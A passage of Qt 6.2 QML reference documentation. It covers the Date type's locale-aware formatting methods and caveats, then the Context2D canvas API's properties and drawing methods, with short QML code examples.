| [fromLocaleDateString](qml-qtqml-date#fromLocaleDateString-method), [toLocaleDateString](qml-qtqml-date#toLocaleDateString-method) | Locale.LongFormat | `dddd, MMMM d, yyyy` |
| [fromLocaleDateString](qml-qtqml-date#fromLocaleDateString-method), [toLocaleDateString](qml-qtqml-date#toLocaleDateString-method) | Locale.ShortFormat | `M/d/yy` |
| [fromLocaleTimeString](qml-qtqml-date#fromLocaleTimeString-method), [toLocaleTimeString](qml-qtqml-date#toLocaleTimeString-method) | Locale.LongFormat | `h:mm:ss AP t` |
| [fromLocaleTimeString](qml-qtqml-date#fromLocaleTimeString-method), [toLocaleTimeString](qml-qtqml-date#toLocaleTimeString-method) | Locale.ShortFormat | `h:mm AP` |
| [fromLocaleString](qml-qtqml-date#fromLocaleString-method), [toLocaleString](qml-qtqml-date#toLocaleString-method) | Locale.LongFormat | `dddd, MMMM d, yyyy h:mm:ss AP t` |
| [fromLocaleString](qml-qtqml-date#fromLocaleString-method), [toLocaleString](qml-qtqml-date#toLocaleString-method) | Locale.ShortFormat | `M/d/yy h:mm AP` |

 Further Notes
-------------

 Using the locale-aware functions to perform date or time formatting can result in incorrectly formatted times, due to an inconsistency in specification between Qt and JS. ECMA-262 specifies that historical dates should be intrepreted by projecting the current rules for daylight-saving onto past years, while Qt uses historical data (where available) to determine whether daylight-saving was in effect for a given date. Therefore, constructing a Date value in JS and converting it to a string using the locale-aware functions can yield a result incorrect by one hour, if DST is currently in effect, while it was not for the time specified, or vice versa.

 There are different date formats with different understandings of negative years. Common human language does not have a year 0. The year after 1BC is 1AD. This understanding is reflected when printing or parsing dates in one of the formats not standardized by ECMAScript. That is: toString(), [toLocaleString](qml-qtqml-date#toLocaleString-method)(), toUTCString() and friends. ECMAScript does standardize one format: ISO 8601. This is what you get when you call toISOString(). This format does include a year 0, which is 1BC in other formats. Thus you get different years when printing negative dates with toISOString() and toString().

 When setting the year using the Date constructor or set(UTC)FullYear(), the convention set by ISO 8601 is used and 0 is a valid year. This means negative years set with the constructor or set(UTC)FullYear() are zero-based and thus offset by one year from what is printed with toString() and friends. Parsing the output of any of the to\*String() methods will yield the same date value you printed from. Date.parse() will recognize the different formats and their convention on the existence of year 0.

 Note that all this is different from what you get in other JavaScript implementations which usually treat year 0 as valid in all string representations. As the date formats are "implementation-dependent" in the ECMAScript standard, this is still valid, though.

 **See also** [Locale](qml-qtqml-locale).

 Method Documentation
--------------------

 ###  [string](qml-string) fromLocaleDateString(*locale*, *dateString*, *format*)

 Converts the date string *dateString* to a [Date](qml-qtqml-date) object using *locale* and *format*.

 If *format* is not specified, [Locale.LongFormat](qml-qtqml-locale) will be used.

 If *locale* is not specified, the default locale will be used.

 The following example shows the current date first being formatted as a date string using the default locale and format, then parsed back again in the same manner:

 
```
import QtQml 2.0

QtObject {
    property var locale: Qt.locale()
    property date currentDate: new Date()
    property string dateString

    Component.onCompleted: {
        dateString = currentDate.toLocaleDateString();
        print(Date.fromLocaleDateString(dateString));
    }
}
```
 ###  [string](qml-string) fromLocaleString(*locale*, *dateTimeString*, *format*)

 Converts the datetime string *dateTimeString* to a [Date](qml-qtqml-date) object using *locale* and *format*.

 If *format* is not specified, [Locale.LongFormat](qml-qtqml-locale) will be used.

 If *locale* is not specified, the default locale will be used.

 The following example shows a datetime being parsed from a datetime string in a certain format using the default locale:

 
```
import QtQml 2.0

QtObject {
    property var locale: Qt.locale()
    property string dateTimeString: "Tue 2013-09-17 10:56:06"

    Component.onCompleted: {
        print(Date.fromLocaleString(locale, dateTimeString, "ddd yyyy-MM-dd hh:mm:ss"));
    }
}
```
 ###  [string](qml-string) fromLocaleTimeString(*locale*, *timeString*, *format*)

 Converts the time string *timeString* to a [Date](qml-qtqml-date) object using *locale* and *format*.

 If *format* is not specified, [Locale.LongFormat](qml-qtqml-locale) will be used.

 If *locale* is not specified, the default locale will be used.

 The following example shows the current time first being formatted as a time string using the default locale and a short format, then parsed back again in the same manner:

 
```
import QtQml 2.2

QtObject {
    property var locale: Qt.locale()
    property date currentTime: new Date()
    property string timeString

    Component.onCompleted: {
        timeString = currentTime.toLocaleTimeString(locale, Locale.ShortFormat);
        print(Date.fromLocaleTimeString(locale, timeString, Locale.ShortFormat));
    }
}
```
 ###  [string](qml-string) timeZoneUpdated()

 Informs the JS engine that the system's timezone has been changed, which is necessary for the correct manipulation of datetime data.

 JS stores Date objects in UTC time; all access to and from Date components in local time involves the application of the current offset from UTC. If the current offset changes due to the timezone being updated, the JS engine needs to be informed so that it can recalculate the offset.

 This function should be called after the system's timezone has been updated.

 For example, an application that changes the timezone would call timeZoneUpdated() after setting the new time zone:

 
```
property string selectedTimeZone

onSelectedTimeZoneChanged: {
    MyFunctions.setSystemTimeZone(selectedTimeZone)
    Date.timeZoneUpdated()
}
```
 ###  [string](qml-string) toLocaleDateString(*locale*, *format*)

 Converts the Date to a string containing the date suitable for the specified *locale* in the specified *format*.

 If *format* is not specified, [Locale.LongFormat](qml-qtqml-locale) will be used.

 If *locale* is not specified, the default locale will be used.

 The following example shows the current date formatted for the German locale:

 
```
import QtQuick 2.0

Text {
    text: "The date is: " + new Date().toLocaleDateString(Qt.locale("de_DE"))
}
```
 ###  [string](qml-string) toLocaleString(*locale*, *format*)

 Converts the Date to a string containing the date and time suitable for the specified *locale* in the specified *format*.

 If *format* is not specified, [Locale.LongFormat](qml-qtqml-locale) will be used.

 If *locale* is not specified, the default locale will be used.

 The following example shows the current date and time formatted for the German locale:

 
```
import QtQuick 2.0

Text {
    text: "The date is: " + new Date().toLocaleString(Qt.locale("de_DE"))
}
```
 ###  [string](qml-string) toLocaleTimeString(*locale*, *format*)

 Converts the Date to a string containing the time suitable for the specified *locale* in the specified *format*.

 If *format* is not specified, [Locale.LongFormat](qml-qtqml-locale) will be used.

 If *locale* is not specified, the default locale will be used.

 The following example shows the current time formatted for the German locale:

 
```
import QtQuick 2.0

Text {
    text: "The date is: " + new Date().toLocaleTimeString(Qt.locale("de_DE"))
}
```


 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtqml-date.html>

Context2D QML Type
==================

 Provides 2D context for shapes on a Canvas item. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Since: |  Qt 5.0 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-context2d-members.html)

 Properties
----------

 * **[canvas](qml-qtquick-context2d#canvas-prop)** : QtQuick::Canvas
* **[fillRule](qml-qtquick-context2d#fillRule-prop)** : enumeration
* **[fillStyle](qml-qtquick-context2d#fillStyle-prop)** : variant
* **[font](qml-qtquick-context2d#font-prop)** : string
* **[globalAlpha](qml-qtquick-context2d#globalAlpha-prop)** : real
* **[globalCompositeOperation](qml-qtquick-context2d#globalCompositeOperation-prop)** : string
* **[lineCap](qml-qtquick-context2d#lineCap-prop)** : string
* **[lineDashOffset](qml-qtquick-context2d#lineDashOffset-prop)** : real
* **[lineJoin](qml-qtquick-context2d#lineJoin-prop)** : string
* **[lineWidth](qml-qtquick-context2d#lineWidth-prop)** : real
* **[miterLimit](qml-qtquick-context2d#miterLimit-prop)** : real
* **[shadowBlur](qml-qtquick-context2d#shadowBlur-prop)** : real
* **[shadowColor](qml-qtquick-context2d#shadowColor-prop)** : string
* **[shadowOffsetX](qml-qtquick-context2d#shadowOffsetX-prop)** : qreal
* **[shadowOffsetY](qml-qtquick-context2d#shadowOffsetY-prop)** : qreal
* **[strokeStyle](qml-qtquick-context2d#strokeStyle-prop)** : variant
* **[textAlign](qml-qtquick-context2d#textAlign-prop)** : string
* **[textBaseline](qml-qtquick-context2d#textBaseline-prop)** : string

 Methods
-------

 * object **[arc](qml-qtquick-context2d#arc-method)**(real *x*, real *y*, real *radius*, real *startAngle*, real *endAngle*, bool *anticlockwise*)
* object **[arcTo](qml-qtquick-context2d#arcTo-method)**(real *x1*, real *y1*, real *x2*, real *y2*, real *radius*)
* object **[beginPath](qml-qtquick-context2d#beginPath-method)**()
* object **[bezierCurveTo](qml-qtquick-context2d#bezierCurveTo-method)**(real *cp1x*, real *cp1y*, real *cp2x*, real *cp2y*, real *x*, real *y*)
* object **[clearRect](qml-qtquick-context2d#clearRect-method)**(real *x*, real *y*, real *w*, real *h*)
* object **[clip](qml-qtquick-context2d#clip-method)**()
* object **[closePath](qml-qtquick-context2d#closePath-method)**()
* object **[createConicalGradient](qml-qtquick-context2d#createConicalGradient-method)**(real *x*, real *y*, real *angle*)
* CanvasImageData **[createImageData](qml-qtquick-context2d#createImageData-method-2)**(Url *imageUrl*)
* CanvasImageData **[createImageData](qml-qtquick-context2d#createImageData-method-1)**(CanvasImageData *imageData*)
* CanvasImageData **[createImageData](qml-qtquick-context2d#createImageData-method)**(real *sw*, real *sh*)
* object **[createLinearGradient](qml-qtquick-context2d#createLinearGradient-method)**(real *x0*, real *y0*, real *x1*, real *y1*)
* variant **[createPattern](qml-qtquick-context2d#createPattern-method-1)**(Image *image*, string *repetition*)
* variant **[createPattern](qml-qtquick-context2d#createPattern-method)**(color *color*, enumeration *patternMode*)
* object **[createRadialGradient](qml-qtquick-context2d#createRadialGradient-method)**(real *x0*, real *y0*, real *r0*, real *x1*, real *y1*, real *r1*)
* **[drawImage](qml-qtquick-context2d#drawImage-method-2)**(variant *image*, real *sx*, real *sy*, real *sw*, real *sh*, real *dx*, real *dy*, real *dw*, real *dh*)
* **[drawImage](qml-qtquick-context2d#drawImage-method-1)**(variant *image*, real *dx*, real *dy*, real *dw*, real *dh*)
* **[drawImage](qml-qtquick-context2d#drawImage-method)**(variant *image*, real *dx*, real *dy*)
* object **[ellipse](qml-qtquick-context2d#ellipse-method)**(real *x*, real *y*, real *w*, real *h*)
* object **[fill](qml-qtquick-context2d#fill-method)**()
* object **[fillRect](qml-qtquick-context2d#fillRect-method)**(real *x*, real *y*, real *w*, real *h*)
* object **[fillText](qml-qtquick-context2d#fillText-method)**(*text*, *x*, *y*)
* CanvasImageData **[getImageData](qml-qtquick-context2d#getImageData-method)**(real *x*, real *y*, real *w*, real *h*)
* array **[getLineDash](qml-qtquick-context2d#getLineDash-method)**()
* object **[isPointInPath](qml-qtquick-context2d#isPointInPath-method)**(real *x*, real *y*)
* object **[lineTo](qml-qtquick-context2d#lineTo-method)**(real *x*, real *y*)
* object **[measureText](qml-qtquick-context2d#measureText-method)**(*text*)
* object **[moveTo](qml-qtquick-context2d#moveTo-method)**(real *x*, real *y*)
* object **[putImageData](qml-qtquick-context2d#putImageData-method)**(CanvasImageData *imageData*, real *dx*, real *dy*, real *dirtyX*, real *dirtyY*, real *dirtyWidth*, real *dirtyHeight*)
* object **[quadraticCurveTo](qml-qtquick-context2d#quadraticCurveTo-method)**(real *cpx*, real *cpy*, real *x*, real *y*)
* object **[rect](qml-qtquick-context2d#rect-method)**(real *x*, real *y*, real *w*, real *h*)
* object **[reset](qml-qtquick-context2d#reset-method)**()
* object **[resetTransform](qml-qtquick-context2d#resetTransform-method)**()
* object **[restore](qml-qtquick-context2d#restore-method)**()
* object **[rotate](qml-qtquick-context2d#rotate-method)**(real *angle*)
* object **[roundedRect](qml-qtquick-context2d#roundedRect-method)**(real *x*, real *y*, real *w*, real *h*, real *xRadius*, real *yRadius*)
* object **[save](qml-qtquick-context2d#save-method)**()
* object **[scale](qml-qtquick-context2d#scale-method)**(real *x*, real *y*)
* **[setLineDash](qml-qtquick-context2d#setLineDash-method)**(array *pattern*)
* object **[setTransform](qml-qtquick-context2d#setTransform-method)**(real *a*, real *b*, real *c*, real *d*, real *e*, real *f*)
* object **[shear](qml-qtquick-context2d#shear-method)**(real *sh*, real *sv*)
* object **[stroke](qml-qtquick-context2d#stroke-method)**()
* object **[strokeRect](qml-qtquick-context2d#strokeRect-method)**(real *x*, real *y*, real *w*, real *h*)
* object **[strokeText](qml-qtquick-context2d#strokeText-method)**(*text*, *x*, *y*)
* object **[text](qml-qtquick-context2d#text-method)**(string *text*, real *x*, real *y*)
* object **[transform](qml-qtquick-context2d#transform-method)**(real *a*, real *b*, real *c*, real *d*, real *e*, real *f*)
* object **[translate](qml-qtquick-context2d#translate-method)**(real *x*, real *y*)

 Detailed Description
--------------------

 The Context2D object can be created by `Canvas` item's `getContext()` method:

 
```
Canvas {
  id:canvas
  onPaint:{
     var ctx = canvas.getContext('2d');
     //...
  }
}
```
 The Context2D API implements the same [W3C Canvas 2D Context API standard](http://www.w3.org/TR/2dcontext) with some enhanced features.

 The Context2D API provides the rendering **context** which defines the methods and attributes needed to draw on the `Canvas` item. The following assigns the canvas rendering context to a `context` variable:

 
```
var context = mycanvas.getContext("2d")
```
 The Context2D API renders the canvas as a coordinate system whose origin (0,0) is at the top left corner, as shown in the figure below. Coordinates increase along the `x` axis from left to right and along the `y` axis from top to bottom of the canvas.

 ![]

 Property Documentation
----------------------

 ###  canvas : [QtQuick::Canvas](qml-qtquick-canvas)

 Holds the canvas item that the context paints on.

 This property is read only.

 ###  fillRule : [enumeration](qml-enumeration)

 Holds the current fill rule used for filling shapes. The following fill rules are supported:

 * Qt.OddEvenFill
* Qt.WindingFill

 Note: Unlike the [QPainterPath](qpainterpath), the Canvas API uses the winding fill as the default fill rule. The fillRule property is part of the context rendering state.

 **See also** [fillStyle](qml-qtquick-context2d#fillStyle-prop).

 ###  fillStyle : variant

 Holds the current style used for filling shapes. The style can be either a string containing a CSS color, a [CanvasGradient](qml-qtquick-canvasgradient) or CanvasPattern object. Invalid values are ignored. This property accepts several color syntaxes:

 * 'rgb(red, green, blue)' - for example: 'rgb(255, 100, 55)' or 'rgb(100%, 70%, 30%)'
* 'rgba(red, green, blue, alpha)' - for example: 'rgb(255, 100, 55, 1.0)' or 'rgb(100%, 70%, 30%, 0.5)'
* 'hsl(hue, saturation, lightness)'
* 'hsla(hue, saturation, lightness, alpha)'
* '#RRGGBB' - for example: '#00FFCC'
* Qt.rgba(red, green, blue, alpha) - for example: Qt.rgba(0.3, 0.7, 1, 1.0)

 If the `fillStyle` or [strokeStyle](qml-qtquick-context2d#strokeStyle-prop) is assigned many times in a loop, the last Qt.rgba() syntax should be chosen, as it has the best performance, because it's already a valid [QColor](qcolor) value, does not need to be parsed everytime.

 The default value is '#000000'.

 **See also** [createLinearGradient](qml-qtquick-context2d#createLinearGradient-method)(), [createRadialGradient](qml-qtquick-context2d#createRadialGradient-method)(), [createPattern](qml-qtquick-context2d#createPattern-method)(), and [strokeStyle](qml-qtquick-context2d#strokeStyle-prop).

 ###  font : [string](qml-string)

 Holds the current font settings.

 A subset of the [w3C 2d context standard for font](http://www.w3.org/TR/2dcontext/#dom-context-2d-font) is supported:

 * font-style (optional): normal | italic | oblique
* font-variant (optional): normal | small-caps
* font-weight (optional): normal | bold | 1 ... 1000
* font-size: Npx | Npt (where N is a positive number)
* font-family: See <http://www.w3.org/TR/CSS2/fonts.html#propdef-font-family>

  **Note:** The font-size and font-family properties are mandatory and must be in the order they are shown in above. In addition, a font family with spaces in its name must be quoted.

  The default font value is "10px sans-serif".

 ###  globalAlpha : [real](qml-real)

 Holds the current alpha value applied to rendering operations. The value must be in the range from `0.0` (fully transparent) to `1.0` (fully opaque). The default value is `1.0`.

 ###  globalCompositeOperation : [string](qml-string)

 Holds the current the current composition operation, from the list below:

 * source-atop - A atop B. Display the source image wherever both images are opaque. Display the destination image wherever the destination image is opaque but the source image is transparent. Display transparency elsewhere.
* source-in - A in B. Display the source image wherever both the source image and destination image are opaque. Display transparency elsewhere.
* source-out - A out B. Display the source image wherever the source image is opaque and the destination image is transparent. Display transparency elsewhere.
* source-over - (default) A over B. Display the source image wherever the source image is opaque. Display the destination image elsewhere.
* destination-atop - B atop A. Same as source-atop but using the destination image instead of the source image and vice versa.
* destination-in - B in A. Same as source-in but using the destination image instead of the source image and vice versa.
* destination-out - B out A. Same as source-out but using the destination image instead of the source image and vice versa.
* destination-over - B over A. Same as source-over but using the destination image instead of the source image and vice versa.
* lighter - A plus B. Display the sum of the source image and destination image, with color values approaching 255 (100%) as a limit.
* copy - A (B is ignored). Display the source image instead of the destination image.
* xor - A xor B. Exclusive OR of the source image and destination image.

 Additionally, this property also accepts the compositon modes listed in [QPainter::CompositionMode](qpainter#CompositionMode-enum). According to the W3C standard, these extension composition modes are provided as "vendorName-operationName" syntax, for example: [QPainter::CompositionMode\_Exclusion](qpainter#CompositionMode-enum) is provided as "qt-exclusion".

 ###  lineCap : [string](qml-string)

 Holds the current line cap style. The possible line cap styles are:

 * butt - the end of each line has a flat edge perpendicular to the direction of the line, this is the default line cap value.
* round - a semi-circle with the diameter equal to the width of the line must then be added on to the end of the line.
* square - a rectangle with the length of the line width and the width of half the line width, placed flat against the edge perpendicular to the direction of the line.

 Other values are ignored.

 ###  [since QtQuick 2.11] lineDashOffset : [real](qml-real)

 Holds the current line dash offset. The default line dash offset value is `0`.

 This property was introduced in QtQuick 2.11.

 **See also** [getLineDash](qml-qtquick-context2d#getLineDash-method)() and [setLineDash](qml-qtquick-context2d#setLineDash-method)().

 ###  lineJoin : [string](qml-string)

 Holds the current line join style. A join exists at any point in a subpath shared by two consecutive lines. When a subpath is closed, then a join also exists at its first point (equivalent to its last point) connecting the first and last lines in the subpath.

 The possible line join styles are:

 * bevel - this is all that is rendered at joins.
* round - a filled arc connecting the two aforementioned corners of the join, abutting (and not overlapping) the aforementioned triangle, with the diameter equal to the line width and the origin at the point of the join, must be rendered at joins.
* miter - a second filled triangle must (if it can given the miter length) be rendered at the join, this is the default line join style.

 Other values are ignored.

 ###  lineWidth : [real](qml-real)

 Holds the current line width. Values that are not finite values greater than zero are ignored.

 ###  miterLimit : [real](qml-real)

 Holds the current miter limit ratio. The default miter limit value is 10.0.

 ###  shadowBlur : [real](qml-real)

 Holds the current level of blur applied to shadows

 ###  shadowColor : [string](qml-string)

 Holds the current shadow color.

 ###  shadowOffsetX : qreal

 Holds the current shadow offset in the positive horizontal distance.

 **See also** [shadowOffsetY](qml-qtquick-context2d#shadowOffsetY-prop).

 ###  shadowOffsetY : qreal

 Holds the current shadow offset in the positive vertical distance.

 **See also** [shadowOffsetX](qml-qtquick-context2d#shadowOffsetX-prop).

 ###  strokeStyle : variant

 Holds the current color or style to use for the lines around shapes, The style can be either a string containing a CSS color, a [CanvasGradient](qml-qtquick-canvasgradient) or CanvasPattern object. Invalid values are ignored.

 The default value is '#000000'.

 **See also** [createLinearGradient](qml-qtquick-context2d#createLinearGradient-method)(), [createRadialGradient](qml-qtquick-context2d#createRadialGradient-method)(), [createPattern](qml-qtquick-context2d#createPattern-method)(), and [fillStyle](qml-qtquick-context2d#fillStyle-prop).

 ###  textAlign : [string](qml-string)

 Holds the current text alignment settings. The possible values are:

 * start
* end
* left
* right
* center

 Other values are ignored. The default value is "start".

 ###  textBaseline : [string](qml-string)

 Holds the current baseline alignment settings. The possible values are:

 * top
* hanging
* middle
* alphabetic
* ideographic
* bottom

 Other values are ignored. The default value is "alphabetic".

 Method Documentation
--------------------

 ###  object arc([real](qml-real) *x*, [real](qml-real) *y*, [real](qml-real) *radius*, [real](qml-real) *startAngle*, [real](qml-real) *endAngle*, [bool](qml-bool) *anticlockwise*)

 Adds an arc to the current subpath that lies on the circumference of the circle whose center is at the point (*x*, *y*) and whose radius is *radius*.

 Both *startAngle* and *endAngle* are measured from the x-axis in radians.

 ![]


![]


The *anticlockwise* parameter is `true` for each arc in the figure above because they are all drawn in the anticlockwise direction.

 **See also** [arcTo](qml-qtquick-context2d#arcTo-method) and [W3C's 2D Context Standard for arc()](http://www.w3.org/TR/2dcontext/#dom-context-2d-arc).

 ###  object arcTo([real](qml-real) *x1*, [real](qml-real) *y1*, [real](qml-real) *x2*, [real](qml-real) *y2*, [real](qml-real) *radius*)

 Adds an arc with the given control points and radius to the current subpath, connected to the previous point by a straight line. To draw an arc, you begin with the same steps you followed to create a line:

 * Call the [beginPath](qml-qtquick-context2d#beginPath-method)() method to set a new path.
* Call the [moveTo](qml-qtquick-context2d#moveTo-method)(`x`, `y`) method to set your starting position on the canvas at the point (`x`, `y`).
* To draw an arc or circle, call the arcTo(*x1*, *y1*, *x2*, *y2*, *radius*) method. This adds an arc with starting point (*x1*, *y1*), ending point (*x2*, *y2*), and *radius* to the current subpath and connects it to the previous subpath by a straight line.

 ![]


**See also** [arc](qml-qtquick-context2d#arc-method) and [W3C's 2D Context Standard for arcTo()](http://www.w3.org/TR/2dcontext/#dom-context-2d-arcto).

 ###  object beginPath()

 Resets the current path to a new path.

 ###  object bezierCurveTo([real](qml-real) *cp1x*, [real](qml-real) *cp1y*, [real](qml-real) *cp2x*, [real](qml-real) *cp2y*, [real](qml-real) *x*, [real](qml-real) *y*)

 Adds a cubic bezier curve between the current position and the given endPoint using the control points specified by (*cp1x*, *cp1y*), and (*cp2x*, *cp2y*). After the curve is added, the current position is updated to be at the end point (*x*, *y*) of the curve. The following code produces the path shown below:

 
```
ctx.strokeStyle = Qt.rgba(0, 0, 0, 1);
ctx.lineWidth = 1;
ctx.beginPath();
ctx.moveTo(20, 0);//start point
ctx.bezierCurveTo(-10, 90, 210, 90, 180, 0);
ctx.stroke();
```
 ![]


**See also** [W3C 2d context standard for bezierCurveTo](http://www.w3.org/TR/2dcontext/#dom-context-2d-beziercurveto) and [The beautiful flower demo by using bezierCurveTo](https://web.archive.org/web/20130505222636if_/http://www.openrise.com/lab/FlowerPower/).

 ###  object clearRect([real](qml-real) *x*, [real](qml-real) *y*, [real](qml-real) *w*, [real](qml-real) *h*)

 Clears all pixels on the canvas in the rectangle specified by (*x*, *y*, *w*, *h*) to transparent black.

 ###  object clip()

 Creates the clipping region from the current path. Any parts of the shape outside the clipping path are not displayed. To create a complex shape using the `clip()` method:

 1. Call the `context.beginPath()` method to set the clipping path.
2. Define the clipping path by calling any combination of the `lineTo`, `arcTo`, `arc`, `moveTo`, etc and `closePath` methods.
3. Call the `context.clip()` method.

 The new shape displays. The following shows how a clipping path can modify how an image displays:

 ![]


**See also** [beginPath](qml-qtquick-context2d#beginPath-method)(), [closePath](qml-qtquick-context2d#closePath-method)(), [stroke](qml-qtquick-context2d#stroke-method)(), [fill](qml-qtquick-context2d#fill-method)(), and [W3C 2d context standard for clip](http://www.w3.org/TR/2dcontext/#dom-context-2d-clip).

 ###  object closePath()

 Closes the current subpath by drawing a line to the beginning of the subpath, automatically starting a new path. The current point of the new path is the previous subpath's first point.

 **See also** [W3C 2d context standard for closePath](http://www.w3.org/TR/2dcontext/#dom-context-2d-closepath).

 ###  object createConicalGradient([real](qml-real) *x*, [real](qml-real) *y*, [real](qml-real) *angle*)

 Returns a [CanvasGradient](qml-qtquick-canvasgradient) object that represents a conical gradient that interpolates colors counter-clockwise around a center point (*x*, *y*) with a start angle *angle* in units of radians.

 **See also** [CanvasGradient::addColorStop](qml-qtquick-canvasgradient#addColorStop-method)(), [createLinearGradient](qml-qtquick-context2d#createLinearGradient-method)(), [createRadialGradient](qml-qtquick-context2d#createRadialGradient-method)(), [createPattern](qml-qtquick-context2d#createPattern-method)(), [fillStyle](qml-qtquick-context2d#fillStyle-prop), and [strokeStyle](qml-qtquick-context2d#strokeStyle-prop).

 ###  [CanvasImageData](qml-qtquick-canvasimagedata) createImageData([Url](qtcborcommon#QCborKnownTags-enum) *imageUrl*)

 Creates a [CanvasImageData](qml-qtquick-canvasimagedata) object with the given image loaded from *imageUrl*.

  **Note:** The *imageUrl* must be already loaded before this function call, otherwise an empty [CanvasImageData](qml-qtquick-canvasimagedata) obect will be returned.

  **See also** [Canvas::loadImage](qml-qtquick-canvas#loadImage-method)(), [QtQuick::Canvas::unloadImage](qml-qtquick-canvas#unloadImage-method)(), and [QtQuick::Canvas::isImageLoaded](qml-qtquick-canvas#isImageLoaded-method).

 ###  [CanvasImageData](qml-qtquick-canvasimagedata) createImageData([CanvasImageData](qml-qtquick-canvasimagedata) *imageData*)

 Creates a [CanvasImageData](qml-qtquick-canvasimagedata) object with the same dimensions as the argument.

 ###  [CanvasImageData](qml-qtquick-canvasimagedata) createImageData([real](qml-real) *sw*, [real](qml-real) *sh*)

 Creates a [CanvasImageData](qml-qtquick-canvasimagedata) object with the given dimensions(*sw*, *sh*).

 ###  object createLinearGradient([real](qml-real) *x0*, [real](qml-real) *y0*, [real](qml-real) *x1*, [real](qml-real) *y1*)

 Returns a [CanvasGradient](qml-qtquick-canvasgradient) object that represents a linear gradient that transitions the color along a line between the start point (*x0*, *y0*) and the end point (*x1*, *y1*).

 A gradient is a smooth transition between colors. There are two types of gradients: linear and radial. Gradients must have two or more color stops, representing color shifts positioned from 0 to 1 between to the gradient's starting and end points or circles.

 **See also** [CanvasGradient::addColorStop](qml-qtquick-canvasgradient#addColorStop-method)(), [createRadialGradient](qml-qtquick-context2d#createRadialGradient-method)(), [createConicalGradient](qml-qtquick-context2d#createConicalGradient-method)(), [createPattern](qml-qtquick-context2d#createPattern-method)(), [fillStyle](qml-qtquick-context2d#fillStyle-prop), and [strokeStyle](qml-qtquick-context2d#strokeStyle-prop).

 ###  variant createPattern([Image](qml-qtquick-image) *image*, [string](qml-string) *repetition*)

 Returns a CanvasPattern object that uses the given image and repeats in the direction(s) given by the repetition argument.

 The *image* parameter must be a valid Image item, a valid [CanvasImageData](qml-qtquick-canvasimagedata) object or loaded image url, if there is no image data, throws an INVALID\_STATE\_ERR exception.

 The allowed values for *repetition* are:

 * "repeat" - both directions
* "repeat-x - horizontal only
* "repeat-y" - vertical only
* "no-repeat" - neither

 If the repetition argument is empty or null, the value "repeat" is used.

 **See also** [strokeStyle](qml-qtquick-context2d#strokeStyle-prop) and [fillStyle](qml-qtquick-context2d#fillStyle-prop).

 ###  variant createPattern([color](qml-color) *color*, [enumeration](qml-enumeration) *patternMode*)

 This is a overload function. Returns a CanvasPattern object that uses the given *color* and *patternMode*. The valid pattern modes are:

 * Qt.SolidPattern
* Qt.Dense1Pattern
* Qt.Dense2Pattern
* Qt.Dense3Pattern
* Qt.Dense4Pattern
* Qt.Dense5Pattern
* Qt.Dense6Pattern
* Qt.Dense7Pattern
* Qt.HorPattern
* Qt.VerPattern
* Qt.CrossPattern
* Qt.BDiagPattern
* Qt.FDiagPattern
* Qt.DiagCrossPattern

 **See also** [Qt::BrushStyle](qt#BrushStyle-enum).

 ###  object createRadialGradient([real](qml-real) *x0*, [real](qml-real) *y0*, [real](qml-real) *r0*, [real](qml-real) *x1*, [real](qml-real) *y1*, [real](qml-real) *r1*)

 Returns a [CanvasGradient](qml-qtquick-canvasgradient) object that represents a radial gradient that paints along the cone given by the start circle with origin (*x0*, *y0*) and radius *r0*, and the end circle with origin (*x1*, *y1*) and radius *r1*.

 **See also** [CanvasGradient::addColorStop](qml-qtquick-canvasgradient#addColorStop-method)(), [createLinearGradient](qml-qtquick-context2d#createLinearGradient-method)(), [createConicalGradient](qml-qtquick-context2d#createConicalGradient-method)(), [createPattern](qml-qtquick-context2d#createPattern-method)(), [fillStyle](qml-qtquick-context2d#fillStyle-prop), and [strokeStyle](qml-qtquick-context2d#strokeStyle-prop).

 ###  drawImage(variant *image*, [real](qml-real) *sx*, [real](qml-real) *sy*, [real](qml-real) *sw*, [real](qml-real) *sh*, [real](qml-real) *dx*, [real](qml-real) *dy*, [real](qml-real) *dw*, [real](qml-real) *dh*)

 This is an overloaded function. Draws the given item as *image* from source point (*sx*, *sy*) and source width *sw*, source height *sh* onto the canvas at point (*dx*, *dy*) and with width *dw*, height *dh*.

 Note: The *image* type can be an Image or Canvas item, an image url or a [CanvasImageData](qml-qtquick-canvasimagedata) object. When given as Image item, if the image isn't fully loaded, this method draws nothing. When given as url string, the image should be loaded by calling Canvas item's [Canvas::loadImage](qml-qtquick-canvas#loadImage-method)() method first. This image been drawing is subject to the current context clip path, even the given `image` is a [CanvasImageData](qml-qtquick-canvasimagedata) object.

 **See also** [CanvasImageData](qml-qtquick-canvasimagedata), [Image](qml-qtquick-image), [Canvas::loadImage](qml-qtquick-canvas#loadImage-method)(), [Canvas::isImageLoaded](qml-qtquick-canvas#isImageLoaded-method), [Canvas::imageLoaded](qml-qtquick-canvas#imageLoaded-signal), and [W3C 2d context standard for drawImage](http://www.w3.org/TR/2dcontext/#dom-context-2d-drawimage).

 ###  drawImage(variant *image*, [real](qml-real) *dx*, [real](qml-real) *dy*, [real](qml-real) *dw*, [real](qml-real) *dh*)

 This is an overloaded function. Draws the given item as *image* onto the canvas at point (*dx*, *dy*) and with width *dw*, height *dh*.

 Note: The *image* type can be an Image item, an image url or a [CanvasImageData](qml-qtquick-canvasimagedata) object. When given as Image item, if the image isn't fully loaded, this method draws nothing. When given as url string, the image should be loaded by calling Canvas item's [Canvas::loadImage](qml-qtquick-canvas#loadImage-method)() method first. This image been drawing is subject to the current context clip path, even the given `image` is a [CanvasImageData](qml-qtquick-canvasimagedata) object.

 **See also** [CanvasImageData](qml-qtquick-canvasimagedata), [Image](qml-qtquick-image), [Canvas::loadImage](qml-qtquick-canvas#loadImage-method)(), [Canvas::isImageLoaded](qml-qtquick-canvas#isImageLoaded-method), [Canvas::imageLoaded](qml-qtquick-canvas#imageLoaded-signal), and [W3C 2d context standard for drawImage](http://www.w3.org/TR/2dcontext/#dom-context-2d-drawimage).

 ###  drawImage(variant *image*, [real](qml-real) *dx*, [real](qml-real) *dy*)

 Draws the given *image* on the canvas at position (*dx*, *dy*). Note: The *image* type can be an Image item, an image url or a [CanvasImageData](qml-qtquick-canvasimagedata) object. When given as Image item, if the image isn't fully loaded, this method draws nothing. When given as url string, the image should be loaded by calling Canvas item's [Canvas::loadImage](qml-qtquick-canvas#loadImage-method)() method first. This image been drawing is subject to the current context clip path, even the given `image` is a [CanvasImageData](qml-qtquick-canvasimagedata) object.

